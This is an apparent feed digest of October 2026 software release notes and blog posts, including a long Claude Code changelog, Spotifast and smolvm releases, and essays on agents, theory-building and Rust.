- β
- β
- October 14, 2026
-
π HexRaysSA/plugin-repository commits sync plugin-repository.json rss
sync plugin-repository.json No plugin changes detected -
π HexRaysSA/plugin-repository commits fix: drop renamed-repo aliases that index plugins twice (#42) rss
fix: drop renamed-repo aliases that index plugins twice (#42) GitHub redirects a renamed repo's old name, so seeding both the old and new name makes the snapshot index the same plugin under two hosts (patching-ng, efiXplorer). Remove the old names from the seed list and ignore them so search can't re-add them. -
π crmne/spotifast Spotifast v0.13.1 release
Spotifast 0.13.1 stops the window from freezing while the disk is busy, checks that a Google Cast speaker is genuine before signing it in, opens full-screen lyrics with F, and lets you choose how often the player bar's visualizer draws.
Download Spotifast: Mac Β· Windows Β· Windows ARM Β· Linux Β· Linux ARM Β· Flatpak Β· AppImage Β· AppImage ARM
On Windows, pick the
.msi, as in 0.13.0. The setup program (-setup.exe) is still attached for this release only.New
- Google Cast speakers must prove they are genuine. Before it sends a Cast speaker anything, Spotifast now asks it to prove it is a real Google Cast device, as Chrome does, and stops if it can't. 0.13.0 accepted any device that answered at the speaker's address. See how it connects. By @colsontabbert. (#883)
- F opens and closes full-screen lyrics, when no text field has focus. By @PixelAsh6. (#874)
- A frame rate for the player bar and mini player visualizers. Frame rate in Settings β Appearance sets how often they draw: 30, 60 (the default), your screen's rate, or Uncapped. Before, they drew at your screen's rate, which on a fast screen cost power for little gain. MilkDrop keeps its own rate. By @crmne.
Fixed
- The window no longer freezes while the disk is busy. 0.13.0 saved settings, the session and history on the window's own thread, so under heavy disk use the window could stop responding and Pause or a click could wait for seconds. They are now saved in the background, and anything waiting is still written before Spotifast quits or the computer sleeps. If the window ever stalls again, the log now says so, which helps when you report it. By @crmne.
Thanks
@colsontabbert, @PixelAsh6, and everyone who reported problems since 0.13.0.
Full changelog :
v0.13.0...v0.13.1 -
π OmniNull/OmniWM Canary 20261014-0432 (3ccdb08b) release
Automated canary build of
main. It is signed and notarized like a release but skips the owner review, so treat it as unstable.See the canary guide to install, update, or return to stable. For everyday use, download the latest stable release.
- Commit:
3ccdb08b422e - Base tag:
canary-20261008-1304-37780259308-1
Changes since canary-20261008-1304-37780259308-1
- Commit:
-
π Jessitron Sharing Theories with Agents rss
As I'm working with an agent to upgrade a repo from vibe-coded to something I can understand and dig into, I am reminded that Programming is Theory Building.
By "theory" we mean: an understanding of the world, the software and how they relate that's good enough to let us work intelligently on them, answer questions about them, and argue about them.
Like: we have a theory about what the world needs (I need to be able to comment on this HTML!), how the software meets those needs (a server injects the buttons for this), and how it's going to meet more (let me edit the content as markdown!).
Software development is reality construction. We make something real in the world, we change what happens when I move my finger this way or click these clackety keys. Conceiving the new world (and how we get there) is programming. That work used to take more typing, more troubleshooting, and more puzzle solving. It has always been, at its core, building a theory of how a piece of the world works and how it can work.
To go from vibe-coded to programmed, I build that theory. I get the agent to start a document explaining what's going on in that software and why. Then I iterate on that document with it until we're in agreement. I check it against the world and what we need and what makes sense to me; it checks it against the code.
Building that document together builds the theory of this software for me. Reading it builds the theory for every agent that starts up in this repository.
Reading only that document means that the agent's theory is shared with me. More documentation is not better! The only context I want the agent to have is documentation I've read and iterated on (so it's connected to my reality) and the code (which runs, so it's real).
The documentation I read needs to maximize its communicative power. That means diagrams, pictures, and varied structure. HTML beats markdown for this, and the agent is a whiz at writing HTML with SVG figures.
Markdown is a lot easier for me to tweak and comment in, though. I have a need to comment on HTML! And modify its content as easily as markdown. Good thing we have agents to solve this!
Here's a skill, based on Arlo Belshee's process, that helps an agent iterate on a document with you. The plugin includes a tool for commenting on HTML and tweaking the content. Also included is a skill for making a project overview document (like this one) as part of theory-building.
Programming is theory building more than ever. The distance from a conception of how the world can be to some new reality is so much shorter with agents! We still need to understand what we want, and conceptually how it can work, and how we'll get there. That is still the hard part, and we get to work ever harder on it.
-
π anthropics/claude-code v2.1.299 release
What's changed
- Added
CLAUDE_CODE_DISABLE_FILE_MENTIONSenvironment variable: Claude gets the paths of@file mentions to read with its file tools, not the files' contents - Added idle compaction in the terminal: a 200K+ token conversation left idle for about 54 minutes is compacted before its one-hour prompt cache expires, so your next message doesn't reprocess it all
- Added
CLAUDE_CODE_IDLE_COMPACT_MIN_TOKENSto change idle compaction's 200K-token minimum;"idleCompaction": falsein settings.json turns it off. Both need v2.1.290 or later - Added
$.prompt.mediaso aprompt.submithook of a mod installed by managed settings can read the bytes of an image or document attached to the prompt - Added
$.session.identity()for mods installed by managed settings: how the session is signed in, and its organization and email when managedforceLoginOrgUUIDlists that organization - Added
size,weight,monoandtabularto a mod'sTextand named spacing steps (xstoxl) to itsBox;boldis deprecated in favor ofweight - Added
--shutdown-drain-sectoclaude self-hosted-runner orchestrator: on SIGTERM it stops polling and gives the poll in flight and running spawn hooks up to that many seconds to finish - Added the skill's frontmatter, source, plugin name and file path to what a mod's
skill.prompthook receives - Added
/effortand/fastin agent view to set what new sessions start with; a bare/model,/effortor/fastthere now opens a picker - Added a "safe mode" line to the agents view peek panel for background sessions started with
--safe-mode - Added a one-time note when plan mode won't ask before most edits or commands because bypass permissions is available
- Added
--disallow-toolsand adisallowed_toolscase field toclaude plugin evalto keep specific built-in tools, such as Agent, out of eval runs - Added support for turning off the attribution block in Claude Desktop's Code tab: set
CLAUDE_CODE_ATTRIBUTION_HEADER=0in theenvof a Claude apps gateway'scodepolicy - Added a field to the attribution block in Claude Code sessions behind a Claude apps gateway; remove the block with
CLAUDE_CODE_ATTRIBUTION_HEADER=0 - Added a
queuedoor to thesession.appendmod hook, so a mod can make the transcript's queue records differ from the prompt as sent - Added a note in
/pluginandclaude plugin validatenaming a mod's hooks that are skipped where an organization manages Claude Code - Added
/usagewarnings for max effort, workflows, always-on context and large tool results - Fixed the error for a denied cloud session, which could point to the wrong organization when a key from
apiKeyHelperwas in use - Fixed sessions on a gateway-specific model name behind a custom
ANTHROPIC_BASE_URLending with "Prompt is too long Β· automatic compaction failed" near 200K tokens instead of sending the request - Fixed a mod that submits a prompt at the end of every turn keeping a headless run going past
--max-turns,--max-budget-usd, an interrupt, or the end of the host's conversation - Fixed cloud sessions sometimes showing the model's follow-up text after a tool group's one-line label
- Fixed the Write and Edit tools creating a mod in a session's mods folder without asking in accept-edits mode when the config directory's path has no
.claudein it - Fixed installed mods that kept running in an open session after being turned off remotely; they now unload between turns
- Fixed Edit and Retry in Cowork and claude.ai cloud sessions failing on a message stopped while its
UserPromptSubmitor modprompt.submithooks were still running (regression in 2.1.296) - Fixed an agent teammate started without a description keeping part of a credential from its prompt in the task description shown for it
- Fixed the claude.ai view of a Remote Control or cloud session freezing when a large batch of events could not finish uploading over a slow connection
- Fixed a sandboxed shell command being able to write into a
--plugin-dirfolder, whose code Claude Code reloads and runs outside the sandbox - Fixed memory growth under heavy debug logging (
--debug,--debug-file), and a hang on exit when the debug log is on a disk or network mount that stops accepting writes - Fixed memory growing without bound when debug output goes to stderr and the parent process stops reading it
- Fixed rm prompts on shell
-cscripts that don't runrm. An rm built at run time in a script Claude Code can't read no longer prompts unlessCLAUDE_CODE_STRICT_INLINE_SHELL_RM_PROMPT=1 - Fixed double-clicking a word in an expanded transcript row in fullscreen mode collapsing the row instead of selecting the word
- Fixed
claude mcp list,claude doctorand/statusreporting an empty.mcp.jsonas invalid - Fixed
/btwjumping the transcript to the bottom when asked while scrolled up in fullscreen - Fixed sandboxed commands failing on WSL2 with
bwrap: Can't mkdir /mnt/c/Program Files/ClaudeCodewhen the sandbox can write to the Windows drive - Fixed scheduled wakeups (ScheduleWakeup) not firing while a background task was running in Agent SDK, IDE and
claude remote-controlsessions - Fixed a mod's
prompt.submitrewrite being silently dropped, sending the prompt as typed, for some prompts with a pasted image or an image that can't be read - Fixed a Remote Control prompt being lost when another queued prompt in the same batch failed to deliver
- Fixed a Remote Control prompt that had passed its hooks being dropped from prompt history when Stop interrupted the next queued prompt's hook
- Fixed sign-in, MCP servers and project trust appearing lost on Linux after a sandboxed command left an empty
.config.jsonin the config directory - Fixed
/sandboxreporting success when its setting could not be saved because the project folder is not writable; it now says nothing changed and why - Fixed SDK and headless sessions staying in auto mode after the host switched to a model that doesn't support auto mode
- Fixed MCP servers named
constructororprototypein an MCP config never being connected - Fixed tools of an MCP server named
constructorortoStringasking for permission in auto mode and bypass permissions mode - Fixed a spurious "synced[0] commands path not found" plugin error at startup when another Claude Code process had just updated a claude.ai-synced plugin
- Fixed the Artifact tool advising a retry when a publish that requests connectors or other access was refused by the server or a proxy (HTTP 403); it now says so and what to tell the user
- Fixed Cowork cloud sessions staying on an old account plugin after a plugin reload that timed out or a restart that reused a recent sync
- Fixed document blocks being dropped from your own message sent while Claude is working
- Fixed Claude in Chrome asking for permission while no browser is connected; it now says the extension is not connected
- Fixed the fullscreen "Update installed" notice being hidden behind the idle "/clear to save tokens" hint; it now shows beside the hint
- Fixed a mod hook, with or without a
.catch, being run again without end when it waits on another mod's noun that does its work outside the call - Fixed the Claude apps gateway serving models that a policy's
availableModelsMatch: exactordeniedModelsblocks; it now answers 400 and leaves them out of its model lists - Fixed the server-managed settings request to Anthropic carrying a third-party gateway's API key when a managed settings file sets
ANTHROPIC_BASE_URL - Fixed streams through a custom
ANTHROPIC_BASE_URLbeing aborted after 180 seconds with no data arriving; they now wait 300 seconds, whether or not feature flags are loaded - Fixed a mod's
tool.describeorprompt.sectionanswer that changed after$.ui.invalidatenever reaching Claude; the new answer is now sent on the next turn - Fixed a settings file being ignored when
enabledMcpjsonServersordisabledMcpjsonServersheld a single server name (letters, digits, - or _) as a plain string - Fixed
claude plugin testpausing a hook's time budget while a served$method it had called kept making$calls after answering - Fixed high memory use after resuming a cloud or Remote Control session that had run many subagents
- Fixed plugin hooks being skipped when they pass a very deeply nested tool input or message on with next()
- Fixed a value a mod's hook passes to
next(), returns, or sends to a$method being refused whole when one of its getters throws aRangeError; now only that key is refused - Fixed
/usage, the approaching-limit warning (terminal and VS Code) and the status line sometimes showing more than 100% used (#92238) - Fixed wrapped text mixing CJK or emoji with Latin words losing its last line or leaving a blank row at some terminal widths
- Fixed a cloud session sometimes ignoring the answer to a permission prompt or a question when the answer was given while the session's worker was being replaced
- Fixed bold, italic and other nested text styles running over table borders or being lost on wrapped rows
- Fixed Cowork cloud sessions running the old version of an account plugin changed, removed or disabled from another device until the session restarted
- Fixed deny and ask rules for an MCP server (
mcp__<server>) not applying when the server's normalized name contains a double underscore - Fixed long conversations losing newly attached images on every turn after one oversized image was refused by the API
- Fixed the
plugin_loadedtelemetry event reportinghas_hooksas false for plugins whose hooks are a hooks module, built-in plugins included - Fixed images attached while Claude is working (VS Code, desktop app, SDK) being sent at full size, which led to repeated image errors in long conversations
- Fixed the image coordinate hint being missing or slightly off for large near-square images on newer models
- Fixed feature flag, startup, fast mode, profile and feedback requests to Anthropic carrying the API key configured for a third-party gateway (
ANTHROPIC_BASE_URL); Anthropic API keys are still sent - Fixed a mod's hot reload ignoring a fix saved right after a failed reload; saving a mod file without changing it no longer reloads the mod
- Fixed mods loaded from source files being refused when a hook hands
$to a function declaration imported from another file of the mod - Fixed a regression in 2.1.296 where cloud and headless sessions could run an approved tool call twice if a new message arrived as the session resumed after a restart
- Fixed scheduled tasks being announced for the wrong minute: the scheduling tools now report each job's actual next run time
- Fixed mods' hooks being handed values with
__proto__keys silently removed, which could skip atool.checkguard on a tool call another mod made - Fixed
claude -psaying nothing when a settings file fails validation: text-output runs now list the file and the invalid entry on stderr - Fixed long pastes in terminals without bracketed paste losing all text after an invisible control character, such as a mis-decoded curly quote
- Fixed managed settings and organization policy not being fetched when the stored login's plan was changed locally on machines whose MDM or managed-settings file sets
forceLoginOrgUUID - Fixed MCP connections over HTTP hanging for 30 seconds and failing when a server never ends the body of its reply to a notification (#99014)
- Fixed MCP servers added to a running headless or SDK session being connected before some policy checks ran; a blocked server is now reported as failed without being contacted
- Fixed
claude mcp list,claude mcp getand subagent MCP servers starting a server that a policy check blocks; it is now reported as blocked without being started - Fixed
/reload-pluginsnot loading a plugin installed from another terminal a moment earlier - Fixed blank rows appearing under CJK and emoji text squeezed into a one-cell column, as in a very narrow terminal
- Fixed text cut in the middle beside wide characters leaving a cell unused or being cut twice, and an emoji vanishing where a color changed inside it
- Fixed bare mode notices in background sessions telling you to restart without
--bare, which keeps the mode; they now name/stopandclaude --resume, as safe mode ones do - Fixed
βnot saying why it stayed put over a queued message while Remote Control is on - Fixed
$.http.fetchin mods refusing a304,204or205response that declares aContent-Lengthover the 4 MiB body limit - Fixed
/configpush notification toggles sending your account the previous setting instead of the one you just chose - Fixed a cloud session leaving a reply unfinished when its worker was replaced just after the reply hit the output token limit
- Fixed Read failing on PDF page ranges in remote sessions on Linux that run without elevated privileges
- Fixed Enter answering a question or permission prompt that had been held back while you typed an unsent message
- Fixed a file attached to a message in a remote session being left out when its download stalled part way; the download is now tried again
- Fixed queued prompts sent as content blocks over
--input-format stream-jsonrunning together without a line break when merged into one turn - Fixed self-hosted runner sessions shutting down MCP servers added through an
--exec-pathwrapper's own--mcp-configwhen connectors change mid-session - Fixed
claude plugin evalpassing runs that the API refused: a run that ends on an API error now scores 0 without grading and makes the suite exit 1 - Fixed permission prompts cutting off or wrapping too early when the reason text contains keycap or joined emoji
- Fixed
forceLoginOrgUUIDandforceLoginMethodfrom MDM or the managed-settings file being hidden or replaced by server-managed settings - Fixed
--baresessions leaving out an MCP server namedconstructororprototypethat--channelsasked for - Fixed resuming a conversation from before
/clearreattaching to the Remote Control session of the conversation after it - Fixed a prompt starting with
/, sent with the Agent SDK'sverbatimPromptsoption, running as a slash command whenCLAUDE_CODE_RESUME_INTERRUPTED_TURNre-ran it after a restart - Fixed background sessions started with
--safe-modesilently leaving safe mode when the session was woken or restarted - Fixed scheduled tasks and loops firing again after every turn, or firing early, during the repeated hour when daylight saving time ends
- Fixed the diff view listing a new file whose name begins or ends with a space under the wrong name
- Fixed MCP tool calls in headless and SDK sessions sometimes failing or running twice when a background reconnect closed the connection they were running on
- Fixed
/btwside questions in non-interactive sessions not being cancelled when the session ends, and running a second time when the same request arrived again mid-run - Fixed sandboxed commands on macOS being able to read or write a denied path by its real location when the denied path passes through a symlink
- Fixed sandbox
denyReadandallowReadglobs with braces, parentheses or backslashes in a folder's name being read differently by Claude Code's settings checks than by the sandbox - Fixed sandbox glob
allowReadandallowWriteentries not being re-checked when the directory they start from is replaced by a symlink - Fixed worktree-isolated sessions accepting some awk programs the isolation guard should refuse
- Fixed
claude mcp add <name> -- <command> --backgroundbeing started as a background session - Fixed a prompt or reply of
--bgor--backgroundto a background session being taken for the flag, which could start new sessions over and over instead of delivering it - Fixed a custom slash command's embedded shell line running twice when a newer message interrupted the command while its prompt was being checked
- Fixed
--worktreesessions leaving a folder behind in.git/worktreesin repositories using git's reftable ref storage - Fixed
claude self-hosted-runnersessions using Anthropic-managed git showing tracked files as staged deletions when starting in a reused clone whose remote is still empty - Fixed Ultracode not being announced to scheduled tasks and other delivered headless turns when
ultracodeis on in settings - Fixed MCP OAuth sign-in, token refresh and sign-out not sending configured
headers/headersHelpervalues, which broke servers behind an authenticating proxy - Fixed the Artifact tool reporting a spurious one-line difference against the live page, and refusing the publish, when a large page with a line break after
<head>is published again unchanged - Fixed
$.ui.openreporting a mod's pane as placed in sessions where no surface draws it, such as Claude Code for VS Code andclaude -p - Fixed the
agent.spawnmod hook not running when a finished subagent or a killed teammate is resumed: the hook's event now carriesresume, and a mod can refuse it - Fixed
claude plugin validaterejecting a mod's$.statereferences whenplugin.jsonhas notypeskey and the contract is at./types/index.d.ts - Fixed a mod's
dimColortext looking the same as plain text under the dark ANSI theme and on 16-color terminals - Fixed plan mode running a write (an MCP tool's, a file's, a shell command's) that a
PreToolUsehook or a mod'stool.checkhook allowed - Fixed background subagents in auto mode sometimes sending their final report twice, once as the result and once as a message
- Fixed
SendMessagenot finding a subagent by name after the CLI restarted and resumed the session (names given before the last compaction still need the agent ID) - Fixed replies cut off at the output token limit ending the turn silently, with no retry or error, after a request fell back to non-streaming mode
- Fixed Read garbling UTF-16LE files with a byte-order mark, and Write dropping byte-order marks or silently converting Windows-1252, Shift-JIS, GBK or UTF-16BE files to UTF-8 (now refused)
- Fixed cloud sessions sometimes leaving a message unanswered when the worker was replaced right after a compaction
- Fixed cloud sessions and
CLAUDE_CODE_RESUME_INTERRUPTED_TURNsometimes answering a finished turn again after a restart, when a tool ended the turn and a skill loaded in the same step - Fixed photos sent over Remote Control being dropped when their copy could not be saved on your computer; Claude now still sees the photo
- Fixed files sent over Remote Control sometimes not arriving in long-running sessions
- Fixed files of 30 to 35 MiB sent over Remote Control or to a cloud session not arriving
- Fixed a user-installed mod's
$.env.setchanging the environment or shell prefix that command hooks from managed settings start with - Windows: Fixed the process-liveness check leaving orphaned PowerShell processes behind on busy machines until memory ran out
- Windows: Fixed PreToolUse and PermissionRequest hooks that set no shell failing open when Git for Windows isn't installed; a guard that fails now blocks the call
- Windows: Fixed Bash commands failing with "command not found" for a whole session when Git Bash did not report its PATH at startup
- Self-hosted runner: Improved what
setupanddoctorsay when the runner's machine has no git credentials - Self-hosted runner: Fixed sessions that wrote output before their first turn being left with no release timer, ignoring
--retire-atand delaying shutdown - Improved the error shown when a cloud session is refused because your claude.ai login was rejected or has expired: it now tells you to sign in again with
claude auth login - Improved enforcement of managed permission rules, managed hooks and organization MCP tool names against user-installed mods
- Improved memory and disk use when PDFs are @-mentioned: their bytes are no longer kept in the session transcript
- Improved sandboxed Bash on Linux: Esc and Ctrl-C now work while wildcard read rules are being expanded for a command
- Improved the startup warning for an unrecognized model ID: it is now one short line under the welcome banner with a docs link, instead of a long raw message
- Improved the plugin-authoring skill's steps for sharing a mod: Claude asks public or private and checks the files before creating a GitHub repository
- Improved the Skill tool's "Unknown skill" error to suggest a skill's listed name when Claude wrongly adds the
anthropic-skills:prefix to it - Improved
/reload-skillsto say it re-sends the full skill list to Claude, which is how to get skills back after compaction - Improved the error shown when a worktree cannot be created because its base commit does not resolve: it now says how the lookup ended and the likely reasons, such as a repository without a commit
- Improved the error for creating a worktree at a bare-repository layout's root: it now explains the layout instead of an unrelated git error
- Improved artifact watching: a local session can now watch up to 25 published artifacts at once, up from 10
- Improved background agent notifications: they now say when an agent is only waiting on its own background work, got a message too late for its result, or was stopped by a usage limit
- Changed plugin hooks and workflow scripts to refuse values they hand back that nest deeper than 28,000 levels, with an error naming the limit (workflow scripts allowed 100,000)
- Changed actions a plugin hook can block to be refused, not let through, when the hook cannot be handed them or cannot hand back its answer; a tool that already ran has its result withheld
- Changed requests to claude.ai's connector proxy and to Anthropic-hosted MCP servers to no longer follow HTTP redirects; redirects by a connector's own server are unaffected
- Changed MCP requests in cloud and self-hosted runner sessions to no longer follow HTTP redirects from the session's MCP proxy
- Changed skill and command loading: one whose file or folder name has hidden, direction-changing or blank-like characters,
<or>is no longer offered until renamed; such aname:is ignored - Changed
ui.rendertrees inclaude plugin test: each mod's Box or Text root now carriespart: { plugin }naming the mod, so exact-tree assertions must include it - Changed WebFetch page reads to pick their effort as web searches do: the caller's level on the caller's own model, otherwise the level settings give the small model
- Changed
claude plugin testto fail a call to a mod's served$method that has not answered within ten seconds, as a session does - Changed MCP allow rules to reach only the server they name:
mcp__ano longer allows a server nameda__bora_; writemcp__<server>__*with the server's whole normalized name - Changed agent
tools:lists to take only the named MCP server's tools; list a server whose name contains__asmcp__<whole name>__* - Changed Claude in Chrome in Cowork cloud sessions outside auto mode: an approved-site action the safety classifier flags now asks you instead of being refused, unless managed settings apply
- Changed cloud session and Remote Control MCP connectors to negotiate MCP protocol version 2026-07-28 by default on installs that fetch no flags;
MCP_PROTOCOL_NEGOTIATION=legacyopts out - Changed MCP tool descriptions and server instructions from Anthropic's first-party MCP servers at
api.anthropic.comto reach Claude in full instead of being cut at 4,096 characters - Changed auto mode in Cowork cloud sessions: a
PermissionRequesthook can no longer approve shell commands or subagents; those prompts wait or are denied - Changed the resume command printed at exit: it names the session by its ID and no longer by its name, so that nothing in a session name can run when the line is pasted
- Changed the resume command printed at exit of a worktree session: it uses
-wand-rif the long flags do not fit the terminal. If neither fits a kept worktree, rows above it say where to run it - Changed
/btwside questions in non-interactive sessions to return a timeout error when still unanswered after 11 minutes - Changed
UserPromptSubmithooks to run before a skill or custom slash command expands, so a hook that blocks the prompt now also stops its embedded shell commands - Changed a skill's own front-matter
UserPromptSubmithook to first run on the prompt after the one that invokes the skill - Changed the
turn.startmod hook to also hear subagents' and teammates' turns, not only the main loop's; tell them apart bye.agentId(absent on the main loop) - Changed the errors shown when
/ultrareviewcan't upload a repository to stop suggestinggit add ., which could stage or commit untracked files such as.env - Changed the cyber safeguard notice to no longer ask people to apply to the Cyber Verification Program
- [VSCode] Fixed an unsent prompt and its attachments being lost when switching to another session and back
- [VSCode] Fixed unused blank chats keeping a background Claude process running after starting a new conversation
- [VSCode] Fixed the mic button showing an internal error message when you are signed out of claude.ai; it now offers to sign you in
- [VSCode] Improved startup time in workspaces without a Python environment by starting Claude while the Python extension loads
- [VSCode] Improved startup: the model picker and slash command menu now fill in right away in a new window on a folder you've opened before
- [Cloud sessions] Fixed a memory spike that could crash a session when many of its existing output files were re-sent to it at once
- [Cloud sessions] Fixed saving an edited routine silently moving it to a different environment when its own had been deleted or wasn't in the list; the routine now keeps its environment
- [Cloud sessions] Fixed Sessions search in a self-hosted environment's admin details finding nothing when you paste the session ID from a session's link
- [Cloud sessions] Fixed the Sessions and Runners lists in a self-hosted environment's admin details saying the list is empty when a search just has no matches
- [Cloud sessions] Improved the deploy command shown when you create a self-hosted environment or environment key: it shows in full, wraps between arguments, and has a visible copy button
- [Cloud sessions] Changed deleting a self-hosted environment to turn off its routines right away, with the reason shown on each routine, instead of leaving their runs to fail
- [Remote Control] Fixed Remote Control sessions whose computer can't be reached still appearing to send your messages; your text now stays in the box and Send is off until it reconnects
- [Claude Tag] Added the ability for Claude in Slack to delete a canvas it created in a channel when someone asks it to
- [Claude Tag] Fixed Claude in Slack staying silent on untagged posts that a channel's own instructions tell it to answer, such as posts that tag someone else, in channels with guests
- [Claude Tag] Fixed Claude in Slack reporting a reply to another channel's thread as posted when it isn't a member there; it now says the reply wasn't delivered and how to fix that
- [Claude Tag] Fixed Claude in Slack sometimes ending a turn without posting its answer when a self-hosted runner's image has no python3
- [Claude Tag] Changed how Claude in Slack corrects a message it got wrong: it edits the message in place and adds a short "Edited" note instead of striking through the old text
- [Claude Tag] Changed Claude in Slack to join channels with more than 100 members quietly, with no intro message
- [Code Review] Fixed Code Review's monthly spend-limit comment and check-run card sending admins to Claude Code settings; they now link the Usage page, where that limit is set
- Added
-
π smol-machines/smolvm smolvm v1.27.4 release
What's Changed
- Bump libkrun to keep guest addresses to their proxy's family by @BinSquare in #1753
- Bump libkrun to map guest RAM 2 MiB-congruent by @BinSquare in #1756
- Bump the Nix package to 1.27.3 by @BinSquare in #1755
- Bump ruzstd to 0.9.1 for RUSTSEC-2026-0344 by @BinSquare in #1759
- Stop a guest process hanging when the host truncates a file it maps through DAX by @BinSquare in #1758
- Bump version to 1.27.4. by @BinSquare in #1762
Full Changelog :
v1.27.3...v1.27.4 -
π Filip Filmar First Steps with rules_openxc7: A Beginner's Guide rss
This tutorial teaches you how to build your first FPGA bitstream with Bazel and the open-source
rules_openxc7toolchain. You do not need any prior Bazel experience, and you do not need to install AMD Vivado or compile EDA tools from source. In four small files, we create a complete working project that synthesizes Verilog with Yosys, places and routes with nextpnr, generates a 7-series bitstream, and flashes your development board. -
π Baby Steps What agents mean for Rust (and vice versa) rss
Me, calmly assessing the implications of LLMs for
programming language design(ers).As someone who has made a career of programming language design, I definitely have moments of existential dread about the rise of LLMs. I started coding in 5th grade on an x861 that ran at 5MHz, had something like a 5MB hard-disk and 512K of RAM2. Computers were really, really different back then. But honestly, programming wasn't. For all the advances in IDEs and programming languages and so forth, the basic act of entering code into a file has remained surprisingly constant3 - right up until a few years ago, when everything kinda turned on its head. That's been exciting and empowering at times4 but also scary and disorienting. Will my skills in programming matter? What about my skills in programming languagedesign (such as they are)? This blog post is my attempt to answer those questions.
So as not to keep you in suspense, let me just give you the conclusion. In short, yes, I believe there will still be a role for humans in programming. And yes, I think that programming language design is still relevant. And, naturally, I also happen to think Rust is a really good fit for agentic development - but that's not to say we can't make it a better fit. And that's what this post is ultimately about: what makes Rust and agentic development work well, and where we could double down on those strengths.
This is a kind of "blog post companion version" of a talk I gave this week at REBASE, part of SPLASH. You might also enjoy the slides from the talk I gave at IWACO, IWACO and Rust: hidden links revealed, which was a bit more of a retrospective (no soundtrack for those, though). In any case, this turned out to be a great conference! Jack Huey presented on the Rust Vision Doc and, quite to my surprise, Steve Klabnik and Dorian Scheidt presented "LLMs as Collaborators in Language Specification and Design", talking about their process in building out Rue. It was fun to see Steve again. On top of that, there was a ton of great research presented at IWACO in particular. I was particularly taken by the work on Reachability Types and Information Borrowing. I also really liked learning about Hylo Lang, particularly their approach to projections. Clever and cool.
Rust is popular in the agentic era
From the most important Slack channel at Amazon, #aws-
memes.Rust is popular right now. Very popular:
Stratospheric among the breakout languages is TypeScript, cropped from the chart and sitting currently at +1200% growth from the prior year. [..]
The second most rapid recent growth is in Rust. Meta engineers have written twice as much first-party Rust code so far this year than in the previous 9 years combined.
β David Tolnay (emphasis mine)
Some of that is because agents make it very easy to try out new things. And some of that is because Rust has a reputation for being performant and, if it's just as easy to pick any language, why not pick one that will yield faster execution times?
But I think Rust is popular for another reason: because Rust happens to be a really good fit for agentic coding6. Of course, I would, wouldn't I? The point of this post is (1) to argue for why that is and then (2) to discuss what we might change about Rust to make it work even better.
Foundational Software construction with agents
It seems to me that an effective "software factory" will have three pillars:
- Design: figure out and specify clearly what the code is supposed to do.
- Construction: author code that does what it is supposed to do.
- Optimization: optimize the code so that it runs efficiently.
None of these pillars are solved, but some have made more progress than others.
Rust and optimization: fast by default, knobs when you need 'em
Rust is designed to give "good performance by default", making the idiomatic thing typically also be the fastest thing. But another key part of Rust is that you have the knobs to eke out better performance when you need it. You control when something is stack- or heap-allocated and where pointer indirection occurs. If you want to, you can force the layout of your structs to be done in a particular way, or decide where to introduce boxing into your async stack frames. In the limit, you can put in inline assembly.
In the past, learning how to "tune the performance knobs" could be a bit of a black art: but agents are making that much easier.7 It turns out that agents are really good at fine-tuning the performance of existing code. For example, people who work on super high-performance cryptographic algorithms used to do so by hand-tuning assembly code. But those people tell me that they are now turning to agents for that same job. More prosaicly, a lot of people building network services are finding that, using a profiler like dial9, agents can quite effectively diagnose async performance pitfalls, like long polls or blocking.
Therefore, I think the task for Rust is clear. We keep on with our goal of "low-level enough for a kernel, high level enough for a GUI". If anything, I think the shift around agents means we can tolerate a bit more "noise" in the form of explicit calls to
clone()orshare()- but not too much, since we still want the "happy path" of the code to be clear and evident8, even as we surface details that are important in specific scenarios (like tracking precisely how many clones you have of a channel endpoint). Combined with a profiler, you get an effective feedback loop to get your code running fast:flowchart LR Code -- Benchmark --> Profile Profile -- Analyzed by --> Agent Agent -- Propose --> PR PR -- Improve --> CodeReliability is king, as always
As usual though, while a reputation for good performance is what brings people to Rust, what makes them want to stay is a sense that using Rust "just seems to work better". The basic theory is that Rust's type system and guardrails help keep agents on track:
rust is a perfect language for agents, given that if it compiles it's ~correct
-- Greg Brockman (@gdb) January 2, 2026
I think there's truth in that: languages like Rust, Ocaml, or Haskell all share this "if it compiles, it works" feeling, and I think that agents will benefit from that.
Testing is not enough, type systems help
Testing can show the presence of bugs, but not their absence.
β Edsger W. Dijkstra, 1970
Agents presenting their work.Writing tests has never been enough to show that your program is correct - but, with agents, it's not even close. It happens so often that my first few tests seem great and then the next one goes completely bonkers. Usually bonkers in a way where I cannot even imagine how that bug could have come about. Then I dig in and I realize the agent completely missed the boat on the logic I was trying to express.9
This is where a type systems really shines - particularly an advanced one like Rust. Type systems give you some guardrails that keep the agent on track. In Rust, those guardrails extend beyond simple stuff like "do all fields have the correct names" and to stuff like never having to close a socket.
Type systems are not enough either
Type systems can show the absence of bugs, but not the presence of correctness.
β Me, failing to coin a phrase of equal eloquence10, 2026
So yeah, type systems are helpful! But they have inherent limits. A type system is a simple set of rules that, if you follow them, make sure that you avoid (certain kinds of) mistakes. But they don't tell you that you do the right thing - only that you don 't do (certain kinds of) wrong things. If you want to go further, you need a proof system - something that will let you show that richer properties are actively true, not just that you're avoiding bugs.
As it happens, there are a lot of interesting proof tools for Rust, like Verus, Creusot, Aeneas, and Kani. As a starting point, you can prove that your code is panic- free, which will eliminate a lot of bugs, though it is still fundamentally a "type-checker-like" property (i.e., you avoid doing things wrong). But you can also go further and add assertions that show your code is computing the results you expect.
Strong guardrails give better performance
Deplying proofs is not just good for getting code right - it's good for getting code fast. This is somewhat counterintuitive, but it's true. Earlier I mentioned how optimized cryptographic algorithms were now being written by agents. Part of what makes that possible is that cryptographic algorithms have a very clear mathematical definition. This means that you can basically tell the agent "do whatever you want, as long as you can prove that the code still computes the correct result". These proofs can be done with theorem provers like Lean or Rocq. The blog post "Why Lean is faster than Rust" makes the point quite well.
For Rust, a good example of this would be around unsafe code. Right now, people are sometimes reluctant to deploy unsafe code even if it might make their code faster because it's not worth the risk of getting it wrong. And I applaud that effort. But what if you could use a prover to show that your unsafe code is, in fact, safe (i.e., incapable of causing undefined behavior)? Then you'd be free to optimize to your heart's content.
If we are going to prove things, do we need type systems?
You might wonder: if we're deploying a proof system on our code, do we still need type systems? I think the answer is definitely yes. Type systems are infinitely simpler to work with, which is why they are much more popular. Using a type system lets you rule out all kinds of annoying bugs so that you can focus your "proof energy" only on the important stuff.
As a simple example of this, consider the following Java code:
void setFoo(Bar bar) { this.foo = bar; assert this.foo == bar; }Without seeing more code, it is impossible to prove whether this assertion is true or not! This is because there could be any number of other threads running around mutating
